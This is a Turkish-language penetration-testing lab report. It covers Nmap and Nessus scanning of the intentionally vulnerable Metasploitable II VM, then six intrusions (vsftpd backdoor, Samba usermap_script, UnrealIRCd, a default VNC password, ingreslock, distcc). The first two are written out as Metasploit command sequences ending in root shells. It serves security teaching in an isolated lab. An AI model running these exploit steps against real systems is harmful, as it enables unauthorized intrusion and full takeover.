zafiyet tarama ve sizma denemeleri
TRANSCRIPT
-
10.11.2013
Mustafa Kemal Uzunsakalolu | uskom
USKOM ZAFYET TARAMA VE SIZMA DENEMELER
-
1
NDEKLER
1. GR __________________________________________________________ 3
1.1 TEST ORTAMININ OLUTURULMASI ________________________________________________ 3
1.1.1 Kali Linux____________________________________________________________ 3
1.1.2 VMware Workstation _________________________________________________ 3
1.1.2.1 VMware nedir _? _______________________________________________________ 3
1.1.3 Metasploitable II______________________________________________________ 3
1.2 KURULUM _________________________________________________________________ 3
2. KEF __________________________________________________________ 4
2.1.1 Nessus ______________________________________________________________ 4
2.1.2 Nmap ______________________________________________________________ 5
2.1.3 Hedef Ip Tespiti _______________________________________________________ 5
2.1.4 Hedef Aklarnn renilmesi __________________________________________ 10
2.1.4.1 Nmap ile Ak Portlarn renilmesi ________________________________________ 10
2.1.4.2 Nessus ile Zafiyet Taramas _______________________________________________ 12
3. ZAFYET AIKLARINI KULLANARAK SIZMA DENEMELER ________________ 16
3.1 EXPLOT _________________________________________________________________ 16
3.2 METASPLOT FRAMEWORK _____________________________________________________ 17
3.2.1 Metasploit _________________________________________________________ 17
3.2.2 Metasploit Framework Konsol ve Komut Satr Aralar _______________________ 18
3.2.2.1 Msfconsole ___________________________________________________________ 18
3.2.2.2 Msfpaylaod ___________________________________________________________ 18
3.2.2.3 Msfencode ___________________________________________________________ 18
3.2.2.4 Msfcli _______________________________________________________________ 18
3.2.2.5 Msfrpcd ______________________________________________________________ 19
3.3 SIZMA DENEMELER __________________________________________________________ 19
3.3.1 Deneme1 # vsftpd ____________________________________________________ 19
3.3.2 Deneme2 # Samba ___________________________________________________ 22
3.3.3 Deneme3 # Unreal IRC ________________________________________________ 25
3.3.4 Deneme4 # Vncviever _________________________________________________ 26
3.3.5 Deneme5 # Ingreslock ________________________________________________ 27
3.3.6 Deneme6 # distcc ____________________________________________________ 28
-
2
EKLLER TABLOSU
ekil 1: Metasploitable II nin altrlmas .............................................................. 4
ekil 2: Ip blou tespiti ............................................................................................ 9
ekil 3 Ip, Ak port Tespiti ve OS un belirlenmesi .................................................. 9
ekil 4 : TCP SYN Scan .........................................................................................10
ekil 5 : Nessus programnn altrlmas ..............................................................12
ekil 6 : Nessus Kullanc Giri Ekran ...................................................................13
ekil 7 : Kullanc admz ve ifremizi girdikten sonra Nessus arayz ..................13
ekil 8 : Tarama iin ilkenin belirlenmesi ...............................................................14
ekil 9 : Nessus Yeni Tarama Ayarlar ....................................................................14
ekil 11 :Nessus Tarama Sonucu zeti ...................................................................15
ekil 10 :Zafiyet detaylar .......................................................................................15
ekil 12: vsftp ann aratlmas ...........................................................................19
ekil 13: lgili modl hakknda bilgi edinilmesi ......................................................20
ekil 14: lgili modulde Gereken deerlerin girilmesi .............................................20
ekil 15: Modldeki payloadlarn gsterilmesi ........................................................21
ekil 16 : Payload un seilmesi ve payload seeneklerinin listelenmesi ...................21
ekil 17 : Ak sayesinde sisteme szlmas .............................................................22
ekil 18: Samba ann tespit edilmesi .................................................................23
ekil 19 : Samba ana ait modllerin listelenmesi ...............................................23
ekil 20 : Samba ayla sisteme szlmas .............................................................24
ekil 21 : Unreal irc ann tespit edilmesi ...........................................................25
ekil 22: UnrealIRCD .............................................................................................25
ekil 23: UnrealIRCD a ile sisteme szlmas ....................................................26
ekil 24 : Nessus VNC ...........................................................................................26
ekil 25: vncviewer ile sisteme szlmas.................................................................27
ekil 26 : Ingreslock nmap ......................................................................................27
ekil 27 : Ingreslock ayla sisteme szlmtr .....................................................28
ekil 28: Distcc ann tespiti ...............................................................................28
ekil 29: Distcc exploit ilemleri ve sisteme szlmas .............................................29
ekil 30 : Distcc modul seimi ve modul detay .....................................................29
-
3
1. GR
1.1 Test Ortamnn Oluturulmas
1.1.1 Kali Linux
Kali; Linux tabanl, CD'den balatma seenekli BackTrack yapmclar tarafndan
2013 ylnda oluturulmu olan bir gvenlik kontrol iletim sistemi. erisindeki
aralar sayesinde birok alanda (a, Windows, Arduino) gvenlik testi yapmak ve
yazlm gelitirmek mmkn. Masast ortam olarak BackTrack'teki gibi KDE
seenei yok; yalnzca GNOME masast ortam kullanlabilir durumdadr. Ayrca
64-bit (amd64), 32-bit (i386), ARM ve Armel alt yap destei de vardr. [1]
1.1.2 VMware Workstation
1.1.2.1 VMware nedir _?
VMware sanal makina yazlm reten VmWare Inc. firmasna aittir. Vmware ile
oluturulan sanal iletim sistemleri, asl iletim sisteminden bamsz alyor olsa
dahi, ayn sistem kaynaklarn tketir. Ve ana makinann iletim sistemi, yine bu ana
makina ierisinde kurulu olan Sanal Makinann iletim sisteminden farkl olabilir.
rnek verecek olursak; ana makina windows 7 iletim sistemine sahip iken, sanal
makina linux iletim sistemine sahip olabilir. [2]
1.1.3 Metasploitable II
Metasploitable, hedef sistemlere szma srasnda yaplan saldrlar iin bir deneme,
renme ortam olarak Metasploit tarafndan oluturulmutur. Sistem bir ok
zafiyet barndran Vmwarede oluturulmu Linux bir sanal makinadr. Virtualboxa
da kurulabilir.Metasploitable 2 linkinden direk olarak ya da Torrent ile indirilebilir.
1.2 Kurulum
Vmware ile Open Virtual Machine diyerek indirilen .vmx uzantl dosya
gsterilir. Network adaptern NAT veya Host-only olarak ayarlanmas gvenlik iin
nemlidir. Sisteme kullanc ad ve ifre olarak msfadmin yazlarak giri yaplabilir.
-
4
2. KEF
Keif iin Nessus ve Nmap Kullanlmtr.
2.1.1 Nessus
Nessus, Linux camiasnda ska kullanlan, kapsaml bir gvenlik a tarama
yazlmdr. Kiisel ve hertr kurumsal olmayan kullanm iin cretsizdir. Genel
amac, bilgisayar sistemlerinde ve bilgisayar alarnda potansiyel gvenlik aklarn
tespit etmektir.
Nessus bir port tarama yazlmndan ok daha stn zelliklere sahiptir. Nmap
benzeri yazlmlar yalnzca kardaki sunucu ya da makine hakknda iletim sistemi,
ekil 1: Metasploitable II nin altrlmas
-
5
ak port bilgileri verebiliyorken Nessus, servislerdeki aklar eklentilerinin
gncelliine bal olarak test edebilir. alma prensibi istemci/sunucu biimini
kullanr ve test edilecek sistemde nessus sunucu yazlmnn ak olmas daha
derinlemesine test ve analiz imkn sunar. [3]
2.1.2 Nmap
Nmap, sistem yneticilerinin geni alarn taramasnda ve hangi
istemci/sunucusunda hangi servislerin altn saptamasnda kullanabilecei bir
ara olarak tasarland.
Nmap geni bir tarama yelpazesini destekler ; UDP, TCP Connect, TCP SYN (Yar
Ak), FTP Proxy Bounce Ata, TCP FIN, TCP Xmass Tree, ICMP (Ping Sweep),
ACK Sweep, SYN Sweep ve Null Scan bunlara birka rnektir. Nmap ayrca
gelimi zelliklere sahip bir aratr, TCP/IP parmak izleri ile hedefin iletim
sistemini saptayabilir, Stealth (Gizli) tarama yapabilir, taramalarnda dinamik
zamanlamalar kullanlabilir, paralel taramalar yapabilir, ping atarak aktif hostlar
bulabilir, RPC taramas yapabilir, esnek port ve hedef zelliklerine sahiptir.
Unutulmamas gereken en nemli nokta hedef sistemde ak olan portlarn nmapin
standart olarak nitelendirilen ve /etc/services dosyasndan ald port numaras ve
sunucu servis karlatrlmalar tablosu araclyla tespit edilmi olmasdr.
rnek olarak standart kullanmda 21/TCP ftp protokol iin kullanlan bir port
olmas dolaysyla bu portu ak bulan nmap servisin ftp olduunu bildirecektir,
ancak o portu dinleyen servis farkl bir servis (rnegin vnc sunucusu) olabilir. [4]
2.1.3 Hedef Ip Tespiti
ncelikle Nmap da tarama trlerinden bahsedelim :
Tarama Trleri
-sT TCP Connect Scan : En basit anlamda alan tarama tekniidir, hedef porta
balanmak iin SYN paket gnderir,karlnda SYN/ACK paketi gelirse ACK
paketi gndererek porta balanr ve portun ak olduunu rapor eder, eer SYN
-
6
paketine RST cevab gelirse portun kapal olduunu rapor eder. Bu tarama trnde
extra paket zelliklerine sahip olmak gerekmedii iin root olmayan kullanclarda
kullanabilir. En kt zellii alan tm oturumlarn hedef sistem, Firewall yada IDS
tarafndan loglanyor olmasdr.
-sS TCP SYN Scan : Yar ak olarakta tannan SYN tarama oturumu tamamen
amaz, SYN paketinin karlnda SYN/ACK paketi geldiinde portun ak
olduunu rapor eder ve RST paketi gndererek oturumu kapatr, port kapal ise hedef
zaten direk RST cevab gnderir. Bu yntemi uygulayabilmek iin root olmak
gerekmektedir. IDS ve Firewalllara yakalanma ihtimali ve loglanma ihtimali azdr.
-sF, -sX, -sN : Bu tarama yntemleri ise srayla gizli FIN , Xmass Tree ve Null
Scandir. IDS ve Firewalllarn SYN taramalar loglayabileceini dnerek
kullanlan yntemlerdir. FIN, Xmass Tree ve Null scan paketlerinin gnderilmesi
durumunda hedefin RFC 793te akland gibi kapal olan tm portlar iin RST
cevab gndermesi mantna dayanr. Bu yntem IPeye ve NmapNT ile windows
platformunda da uygulanabilmektedir. Ayrca bu tarama yntemleri ak port
buluyorsa (FIN taramada Windows sistemlerindeki tm portlar ak olarak
grnmektedir, nk Windows tabanl sistemler bir oturuma ait olmayan FIN
paketleri ile karlayorsa tmn gz ard ederler ve gz ard edilen paketler
standart olarak portun ak olduu anlamna gelir.) hedefin sistemi Windows tabanl
deildir. Eer SYN scan ak port buluyor ve bu tarama yntemleri bulamyor ise
hedef Windows tabanl bir sisteme sahip demektir. Nmapin letim sistemi saptama
zelliklerine bu durum dahildir. Windowsla ayn tepkiyi veren baz sistemler ise
Cisco, BSDI, HP/UX, MVS ve IRIX tir.
-sP Ping Sweep : Taranlan ada hangi hostlarn aktif olduuna ihtiya olduunda
kullanlan genel yntem ICMP Echo paketleri gnderip cevap beklemektir, son
zamanlarda bu ping isteklerinin Firewalllar tarafndan bloke edildii
dnldnde alternatif zmler gelitirilmelidir. Bu durumda nmap TCP ACK
paketi gnderiyor (standart olarak 80.porttan - deitirilebilir), eer porttan RST
cevab geliyorsa sistemin aktif olduu rapor ediliyor. Dier alternatif teknikte bir
SYN paket gnderip hedeften SYN/ACK yada RST cevab beklemektir, her iki
-
7
cevapta sistemin aktif oldugunu gsterir. Root olmayan kulanclar iin ise standart
TCP Connect yntemi kullanlr. Standart olarak ICMP ve ACK teknikleri paralel
olarak uygulanr. Eer bunun deitirilmesi istenirse -P* parametreleri kullanlarak
bu yntemler deitirilebilir. Ayrca bu pingleme ilemi tamamlandnda sadece
aktif sistemler taranr, bu seenek ping taramas kullanmadan port taramaya gemek
isteniyorsa kullanlabilir.
-sU UDP Scan : Bu teknik hedef bilgisayarn UDP portlarndan hangilerinin ak
olduunu saptamak iin kullanlr.(RFC 768) Hedef makinede ak olduu dnlen
porta 0 bytelik bir UDP paket gndermek ve "ICMP Port Unreachable" paketini
beklemek temeline dayanr. Paket gelirse port kapal gelmezse ak olduuna karar
verilir. Baz insanlar UDP taramay nemsemezler. nemsemelerini gerektiren
sebepler arasnda Tftp, NFS, Snmp gibi protokollerin UDP zerinden almas ve
Solarisin RPCBind a saylabilir.
-sA ACK Scan : ACK tarama yntemi Firewall`larn ACL`lerini bypass ederek
tarama yaplmasn salar. Baz Firewall`lar stateful yada basit paket filtreleme
Firewall`lar olabilir, dardan gelen SYN paketlerini bloke edebilir ancak ACK
flagl paketin geiine izin veriyor olabilir. Rastgele retilmi ack/sequence
numaralaryla yaplr. Cevap gelmezse yada ICMP port unreachable mesaj geliyorsa
port filtrelenen bir porttur. Nmap genellikle portlar iin unfiltered nitelemesi yapmaz.
Bu taramada bulunan portlar asla akca `open` olarak nitelendirmez.
-sW Window Scan : Bu gelimis tarama tr ACK tarama trne ok benzer,
portlarn ak olup olmadn taramas dnda bu portlar filtered/unfiltered olarak
nitelendirir ve ereve boyutundaki farkllklardan hedefin iletim sistemini saptar.
Aralarnda AIX, Amiga, BeOS, BSDI, Cray, Tru64 UNIX, DG/UX, OpenVMS,
Digital UNIX, FreeBSD, HP-UX, OS/2, IRIX, MacOS, NetBSD, OpenBSD,
OpenStep, QNX, Rhapsody, SunOS 4.X, Ultrix, VAX ve VxWorks gibi iletim
sistemlerininde bulunduu iletim sistemlerinin baz versiyonlar bu durumdan
etkilenir. Tam listeye ulaabilmek iin Nmap-Hackers posta listesinin arivlerine
baklabilir.
-
8
-sR RPC Scan : RPC taramalar iin dier tarama trleriyle beraber kullanlr. Btn
TCP/UDP portlar tarayarak ak bulduu portlarda SunRPC`nin "NULL"
komutlarn kullanarak rpc portlarn saptamaya alr, eer rpc portu bulursa alan
program ve srmlerini saptamaya alr. Bylece Firewall yada dier paket
filtreleme cihazlar hakknda baz ie yarar bilgiler saptamaya alr. Decoy zellii
u an iin RPC taramalarda kullanlamyor ancak baz UDP RPC taramalarnda bu
zellik nmap`e eklenmitir.
-b (ftp relay host) : Ftp protokolunun ilgin bir zellii proxy iin destek vermesidir
(RFC 959). Bunun iin ncelikle hedefin ftp sunucusuna balanmak gereklidir, daha
sonra internette herhangi bir yerden o sunucuya bir dosya gnderilebilir. RFC nin
yazld 1985 ylndan gnmze kadar ftp bu zellie sahip olabilir. Bylece bir ftp
sunucu zerinden TCP port tarama yapabilme imkanda kazanlm olur. Bu seenek
ile bu denemeler uygulanabilir. [5]
imdi Hedef pc iin ip belirlemesi yapabiliriz.
VMNet 0: VMware Workstation zerinde alan sanal makinelerimizin kendi ip
sini kullanarak fiziksel makinemizin a kartndan internete kmas salanm olur.
Yani fiziksel bilgisayarmzn a kart kpr vazifesi grm olur.
VMNet 1: VMware Workstation zerinde alan sanal makinelerimizin a
balantsnn sadece fiziksel makine ile snrl olmasn salamak istendiinde
kullanlr. Bylece kendi bilgisayarmzn bal olduu network e erimeden
bilgisayarmz zerinde yerel bir sanal a ortam oluturmu oluruz.
VMNet 8: VMware Workstation zerinde alan sanal makinelerimizin a
balantsnn fiziksel makinemizin a ayarlarn kullanarak tek bir ip zerinden
internete kmas salanmak istendiinde kullanlr. Bylece sanal makineler
internete karken fiziksel bilgisayarmzn ip sini kullanrlar. Yani NAT yapm
oluruz.
Biz host-only default seenei olan vmnet1 ile sanal makinamz kurmutuk.
-
9
Ip blogumuzu renmi olduk artk daha detayl tarama yapabiliriz. Ip adres tespiti,
ak portlar ve iletim sistemi hakknda bilgi sahibi olabiliriz. Vereceimiz komut
nmap -sS -O 192.168.98.0/24
ekil 2: Ip blou tespiti
ekil 3 Ip, Ak port Tespiti ve OS un belirlenmesi
-
10
2.1.4 Hedef Aklarnn renilmesi
Nessus ve Nmap da detayl taramalar yaplp sistem aklar hakknda bilgi
renilebilir.
2.1.4.1 Nmap ile Ak Portlarn renilmesi
Version Detection taramas
Version Detection, btn portlarn bilgilerini bulabilecek herhangi bir tarama tr ile
beraber alr. Eer herhangi bir tarama tr belirtilmezse yetkili kullanclar ( root,
admin ) iin TCP SYN, yetkisiz kullanclar iin TCP Connect Scan altrlr.
Eer ak port bulunursa, Version Detection Scan hedef makina zerinde aratrma
srecini balatr. Hedef makinann uygulamalaryla direkt olarak iletiime geerek
elde edebilecei kadar bilgiyi almaya alr.
Balangta varsaylan olarak TCP SYN Scan yapld ve cevaplarnn dndn
kabul edersek, 80.Port zerinde alan HTTP hakknda bilgi toplayacak olan
Version Detection Scan gerekletirecei tarama ilemleri aadaki gibidir :
ekil 4 : TCP SYN Scan
-
11
Bu Taramay gerekletirmek iin aadaki komut kullanlmaldr :
nmap -sV -v [Hedef_IP]
Aadaki komut ise hedef ip deki tm portlar tarar ve sonucu belirlenen text
dosyasna kaydeder.
#nmap -n -sV -oN /uskom.txt --open -p 0-65535 192.169.98.128
root@uskomhost:~# nmap -n -sV -oN /uskom.txt --open -p 0-65535 192.168.98.128
Starting Nmap 6.40 ( http://nmap.org ) at 2013-11-10 04:13 EET
Nmap scan report for 192.168.98.128
Host is up (0.00027s latency).
Not shown: 65506 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login?
514/tcp open shell?
1099/tcp open rmiregistry GNU Classpath grmiregistry
1524/tcp open shell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc Unreal ircd
-
12
6697/tcp open irc Unreal ircd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
41559/tcp open unknown
51125/tcp open mountd 1-3 (RPC #100005)
54506/tcp open status 1 (RPC #100024)
59966/tcp open nlockmgr 1-4 (RPC #100021)
1 service unrecognized despite returning data. If you know the service/version,
please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-
submit.cgi :
SF-Port514-TCP:V=6.40%I=7%D=11/10%Time=527EEBE5%P=i686-pc-linux-
gnu%r(NULL
SF:,33,"\x01getnameinfo:\x20Temporary\x20failure\x20in\x20name\x20resoluti
SF:on\n");
MAC Address: 00:0C:29:05:0F:B1 (VMware)
Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN;
OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 163.42 seconds
Tarama sonularndan da grld zere port numaras, portun ak olup olmad,
portun kullanld servis ad ve versiyon bilgisi elde edilmitir.
2.1.4.2 Nessus ile Zafiyet Taramas
Nessus kurulumu yapldktan ve kayt ilemi yapldktan sonra program aadaki
komutla altrlr.
ekil 5 : Nessus programnn altrlmas
-
13
Program arayzne Browser satrna uskomhost:8834 yazarak ulaabildik.
Varsaylan portu 8834 dr.
ekil 6 : Nessus Kullanc Giri Ekran
ekil 7 : Kullanc admz ve ifremizi girdikten sonra Nessus arayz
-
14
3 basamaktan oluan ilke tanmlanr. 2.basamakta internal 3.basamakta SSH seip
devam ettik.
Policy sekmesinde ayarladmz ilke seildikten sonra Targets blmne hedef ip
yada ip aral girilip Launch buttonuyla taramamz balatyoruz.
ekil 8 : Tarama iin ilkenin belirlenmesi
ekil 9 : Nessus Yeni Tarama Ayarlar
-
15
Bulunan zafiyetlerin stne tklanarak zafiyet hakknda detayl bilgiye ulalabilir.
ekil 10 :Nessus Tarama Sonucu zeti
ekil 11 :Zafiyet detaylar
-
16
3. ZAFYET AIKLARINI KULLANARAK SIZMA DENEMELER
3.1 Exploit
Bir gvenlik ann kullanlabilmesi iin teknik aklama gereklidir, ancak birok
gvenlik duyurusu sadece gvenlik a hakknda zet bilgi barndrmakta ve yama
sunmaktadr. Gvenlik aklarnn kullanm ve sonular hakkndaki bilgiler
genellikle a bulan kii tarafndan veya ters mhendislik yntemi ile kefedilir.
An kullanmn ifade eden yntem ve aralara exploit ismi verilmektedir.
Exploitler gvenlik an bulan, duyuran veya ters mhendislik yntemi ile detay
verilmeyen an kullanm yntemlerini kefeden kiilerce hazrlanmaktadr. Ama
gvenlik annn tad riski pratik olarak gstermek ve alan sistemlerin
gvenlik an barndrdnn dorulanmasdr.
Exploitler genellikle zensiz ve uygulamann sadece belirli bir srm iin
hazrlanmaktadr, nk yazarlar sadece pratikte an nasl kullanldn ifade
etmek iin exploitleri hazrlamaktadr. Bu sebepten exploiti kullanrken hedef sistem
iin geerli olduu, standart d bir kurulum varsa deiikliin exploitte tanml
olduu ve bir saldr tespit sistemi tarafndan sonularn engellenmedii kontrol
edilmelidir. Aksi durumda exploit ilevsiz olacak, gvenlik an kontrol
edemeyecek farkl sonular retecektir.
Exploitler kaynak kodlar ak biimde hazrlanm programcklardan veya kullanm
yntemlerinden olumaktadr. Kapal kodla veya altrlabilir bir programla
datlan exploit ise ancak ters mhendislik yntemleri ile zmlenebilir, an
kullanm iin yeniden geerli ve kararl bir exploit yazlmasn gerektirebilir.
Exploit'lerin kaynak kodunun ak olmasnn sebebi an testi yaplrken exploit
yazar tarafndan art niyetli bir kodun sisteme bulamasn nlemektir. Kaynak kodu
ak olan exploitler analiz edilerek, an kullanm hakknda bilgi sahibi olunabilir
ve farkl hedeflere gre zelletirilebilir. Gvenlik denetim yazlmlar exploitleri
analiz ederek genel gvenlik denetimleri oluturmakta ve gvenlik aklarn
otomatize olarak denetlemektedir.
-
17
3.2 Metasploit Framework
Metasploit Framework gvenlik aklarn bulmak ve bu aklar dorultusunda ne
gibi sonularn orataya kabileceini gstermek iin kullanlan ak kaynak kodlu
gvenlik programdr. Ayn zamanda bnyesinde anti-forensic ve atlatma teknikleri
uygulamalarn da barndrr.
Metasploit 2003 ylnda HD Moore tarafndan Perl dili ile bir network oyunu olarak
programland. Daha sonra Ruby dili ile batan itibaren tekrar yazld. Gvenlik
dnyasna sunulmasnn ardndan en ok gze arpan zellik, herkes tarafndan
bilinen gvenlik aklar iin zel exploitler bulundurmas olmutur. Bununla
beraber, gvenlik aratrmaclar iin yeni gvenlik aklarn bulmakta gl bir
yazlm olarak kullanlmaktadr. 21 Ekim 2009 tarihinde Metasploit projesinin
Rapid7 bnyesine katld bildirildi. [6]
3.2.1 Metasploit
Metasploit, eitli pentestler gerekletirmek iin ierisinde exploitler, payloadlar,
auxiliaryler ve encoderlerin bulunduu framework altyapsdr. Metasploit; Linux,
Windows Mac-OS ortamlarnda alabilmektedir.
Metasploit ile sadece direkt saldr yaplmaz. eitli backdoorlu dosyalar yapp bunlar
ile de hedef sisteme saldr gerekletirebilirsiniz. Bunun iin iletim sisteminize iis
yada apache gibi servisler kurmanz gerekebilir.
Hedef sistemde otomatik olarak ak taramak iin localhostunuzda database
ynetmeye ihtiyacnz olacak bu yzden mysql gibi servislerden de yararlanmanz
gerekebilir.
Burada ad geen baz kavramlarn tanmlamasn yapacak olursak:
Exploit: Hedef sistemde alan servis yada uygulamalarn zayflklarn kullanarak
amalara ulamak iin kullanlan gvenlik aklardr.
Payload: Exploit sonrasnda hedef sisteme szmay salayan ve istenilen ilemleri
gerekletirmek iin kullanlan bileenlerdir. rnek ile aklayacak olursak bir
servisin an kullanmak exploitin, o aktan faydalanarak sistemde kullanc
oluturmak ise payload'un grevidir.
Sklkla kullanlan nemli payloadlar; Meterpreter, dll injection, passivex ...
Auxiliary: Exploit ncesi hedef sistemde bilgi toplama amal kullanlabilecek
bileenlerdir.
-
18
Encoders: Exploit iinde kullanlan kodlarn (ki o kodlara shellcode denilir)
almasn bozmadan antivirsler, firewaller, IPS, IDS tarafndan tannmamasn
salamak iin kullanlan bileenlerdir.
Nop: eitli sistemlerde hafzadaki veri ve dn hakknda bilgi edinmek iin
kullanlabilir. leri seviye ilemlerde kullanlmaktadrlar. [7]
3.2.2 Metasploit Framework Konsol ve Komut Satr Aralar
Metasploit Framework ok sayda bileen ve arayzden olumaktadr; konsol temelli
etkileimli arayze ek olarak, seri komut arayz, RPC balants ile harici yazlm
arayz, dorudan kabuk kodu oluturma veya dntrme aralar yer almaktadr.
3.2.2.1 Msfconsole
Metasploit Framework ile alma esnasnda kullanlabilecek en kararl etkileimli
arayzdr, grafik arayzler gibi ok sayda hata barndrmad iin sistem ele
geirme ileminin yarda kalmas veya istenmeyen durumlara neden olmaz.
Konsolda verilecek komutlar ve seenek ayarlamalar ile tm zelliklere eksiksiz
eriim sunmaktadr.
3.2.2.2 Msfpaylaod
Kabuk kodu, VNC, zel uygulama veya Meterpreter kullanlarak Payload
oluturmay salamaktadr. altrma esnasnda verilecek parametrelerle, Payload
seeneklerini listeler, seenekler verildii durumda ise istenen biimde Payload'u
retir.
3.2.2.3 Msfencode
Kabuk kodunda kullanlmamas gereken karakterlerin almas veya gvenlik
teknolojileri atlatlmas amacyla, bir Payload'un kodlanmas ve dntrlmesini
salamaktadr.
altrma esnasnda verilecek parametrelerle, kodlama seeneklerini listeler,
seenekler verildii durumda ise istenen biimde Payload'u dntrr.
3.2.2.4 Msfcli
Konsol arayznn aksine alma esnasnda ald parametrelerle almakta, modl
seeneklerinin byk blmne eriim salamaktadr. Daha ok Listener veya
Handler kullanmlar, harici bir yazlm tarafndan Metasploit Framework'n
arlmas veya dorudan tek bir modln kullanm iin verimlidir.
-
19
3.2.2.5 Msfrpcd
Metasploit Framework'n konsol ve seri arayz dnda kalan, harici yazlmlarn
entegrasyonu iin kullanlan bir servis bileenidir. Harici grafik arayz
uygulamalarnn Metasploit Framework'e eriebilmesi, exploit ilemleri veya
yardmc aralarn kullanlabilmesi iin servis sunar. Armitage veya MsfGui gibi
arayzlerin balantsnda sorun yaanmas durumunda SSL destei kapatlarak
uyumluluk salanabilir. [8]
3.3 Szma Denemeleri
3.3.1 Deneme1 # vsftpd
Sonularda ilk sradaki ftp sunucusuna bakldnda vsftpd 2.3.4 gzkyor. Bununla
bir google aramas yaplrsa , bu sunucu kullanlarak sistemde bir backdoor
alabilecei grlebilir.
Metasploit Framework msfconsole ile balatlr. Ekranda msf> gzktnde artk
kullanma hazrdr. nce vsftpd aratlr ve listelenir.
ekil 12: vsftp ann aratlmas
-
20
Tek sonu kt. Bulunan exploiti kullanmak iin ;
msf > use exploit/unix/ftp/vsftpd_234_backdoor
Girilmesi gereken deerler iin (ekil13 de basic options ile gsterilen ) Required
kolonunda yes yazar. Srayla hedef sistem hakknda istenen bilgiler set NAME deer
olarak yazlr. Burada sadece RHOST deeri girilir.
ekil 13: lgili modl hakknda bilgi edinilmesi
ekil 14: lgili modulde Gereken deerlerin girilmesi
-
21
Bu exploitle kullanlabilecek payloadlar listelenir.
msf exploit(vsftpd_234_backdoor) > show payloads
Payload un seilmesi
msf exploit(vsftpd_234_backdoor) > set PAYLOAD cmd/unix/interact
PAYLOAD => cmd/unix/interact
msf exploit(vsftpd_234_backdoor) > show options
Payloadun istedii veriler iin yine show options komutu kullanlr ve gerekli
deerler girilir.
ekil 15: Modldeki payloadlarn gsterilmesi
ekil 16 : Payload un seilmesi ve payload seeneklerinin listelenmesi
-
22
Artk herey hazr olduuna gre exploit denir.
msf exploit(vsftpd_234_backdoor) > exploit
Sisteme root haklaryla giri yaplmtr.
3.3.2 Deneme2 # Samba
msf > db_connect
komutuyla PostgresSql veritabanna balanp
msf > db_nmap -sS -A 192.168.98.128
komutuyla nmap sonularn otamatik olarak yeni veritabanmza kaydedebiliriz.
msf > services
komutuyla nmap tarama sonularn grrz.
ekil 17 : Ak sayesinde sisteme szlmas
-
23
msf>search samba komutuyla ak ile ilgili moduller listelenir
ekil 18: Samba ann tespit edilmesi
ekil 19 : Samba ana ait modllerin listelenmesi
-
24
msf > use exploit/multi/samba/usermap_script
msf exploit(usermap_script) > show options
msf exploit(usermap_script) > set RHOST 192.168.98.128
RHOST => 192.168.98.128
msf exploit(usermap_script) > exploit
Sisteme root haklaryla giri yaplmtr .
ekil 20 : Samba ayla sisteme szlmas
-
25
3.3.3 Deneme3 # Unreal IRC
Unreal IRC , internet zerinden chat yapma program olan IRC nin baka bir
versiyonu. nmap ktsndan bu servisin alt grlebilir. Bu uygulama zerinden
sistemde backdoor alabilir.
msf> search UnrealIRCD
ekil 21 : Unreal irc ann tespit edilmesi
ekil 22: UnrealIRCD
-
26
Sisteme root haklaryla giri yaplmtr .
3.3.4 Deneme4 # Vncviever
Nessus taramasnda VNC Server 'password' Password isminde kritik bir zafiyet
kefetti. Aklamada nessusun parola olarak "password" ile vnc balants
yapabildii belirtiliyor. Linux komut satrna
root@uskomhost:~# vncviewer 192.168.98.128 password:password
yazarak sisteme direk olarak login olunabilir.
ekil 23: UnrealIRCD a ile sisteme szlmas
ekil 24 :Nessus VNC
-
27
Sisteme root haklaryla giri yaplmtr .
3.3.5 Deneme5 # Ingreslock
ingreslock 1524 portunu kullanan DoS ataklar, rootkit ,backdoor yerletirmek iin
kullanlan bir servistir. Bu servisin alt porta telnet ile ulalabilir.
ekil 25:vncviewer ile sisteme szlmas
ekil 26 :Ingreslock nmap
-
28
Sisteme root haklaryla giri yaplmtr
3.3.6 Deneme6 # distcc
Distcc ile a zerinde baka bir bilgisayara derlemesi iin kod gnderilip
altrlabilir. Bylece ilemci gc baka bilgisayarlar zerine datlabilir. Distcc
nin sistem zerinde alt nmap ktsndan grlebilir.
ekil 27 :Ingreslock ayla sisteme szlmtr
ekil 28:Distcc ann tespiti
-
29
ekil 30 :Distcc modul seimi ve modul detay
ekil 29:Distcc exploit ilemleri ve sisteme szlmas
-
30
OZGEM